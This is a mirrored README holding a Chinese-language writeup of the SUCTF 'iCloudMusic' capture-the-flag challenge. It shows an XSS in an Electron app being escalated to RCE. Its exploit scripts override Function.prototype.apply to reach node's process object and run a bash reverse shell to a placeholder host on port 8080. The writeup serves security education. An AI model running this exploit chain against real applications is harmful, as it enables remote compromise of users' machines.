Giter VIP home page Giter VIP logo

icloudmusic's Introduction

SUCTF iCloudMusic

搭建方式

  • 进入dockers目录,运行docker-compose up -d
  • 进入iCloudMusic, 运行npm install && npm start

Writeup

第一步的XSS不难,js_to_run中直接将歌单信息拼接到js中,引号+大括号逃逸即可。

拿到XSS怎样转化为RCE则考察怎样通过覆盖js原生函数来泄漏preload.js运行的node环境中的一些变量/函数等,这里有两种方法

  • 思路1 暴力重写js所有原生函数 以Function.prototype.apply为例
Function.prototype.apply2=Function.prototype.apply;
Function.prototype.apply=function(...args){
    for(var i in args)
        if(args[i])
        console.log(args[i].toString());
    return this.apply2(...args);
}

进入view的devtool,执行这个函数后,尝试执行request.get一个url,可以在console中找到process.因此便可以将我们的覆盖脚本改写为:

Function.prototype.apply2=Function.prototype.apply;
Function.prototype.apply=function(...args){
    if(args[0]!=null && args[0]!=undefined && args[0].env!=undefined){
        Function.prototype.apply=Function.prototype.apply2;
        args[0].mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/XXXXXX/8080 0>&1"');
        }
        return this.apply2(...args)
}
request.get('http://www.baidu.com/',null)
  • 思路2 白盒审计

request库/http库/其他很多node库都有可能调用process相关的函数,其中process下有这样一个函数nextTick

ƒ (...args) {
            process.activateUvLoop();
            return func.apply(this, args);
        }

可以看到process.nextTick中调用了func.apply,即Function.prototype.apply,且参数this正是process本身。 在http库中处理socket请求的一个关键函数即调用了这个函数

ClientRequest.prototype.onSocket = function onSocket(socket) {
  process.nextTick(onSocketNT, this, socket);
};

request库处理请求都使用http库,且request库本身也多次调用了这个函数

var defer = typeof setImmediate === 'undefined'
  ? process.nextTick
  : setImmediate

知道这一点我们便可以直接给出我们同上的利用脚本。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.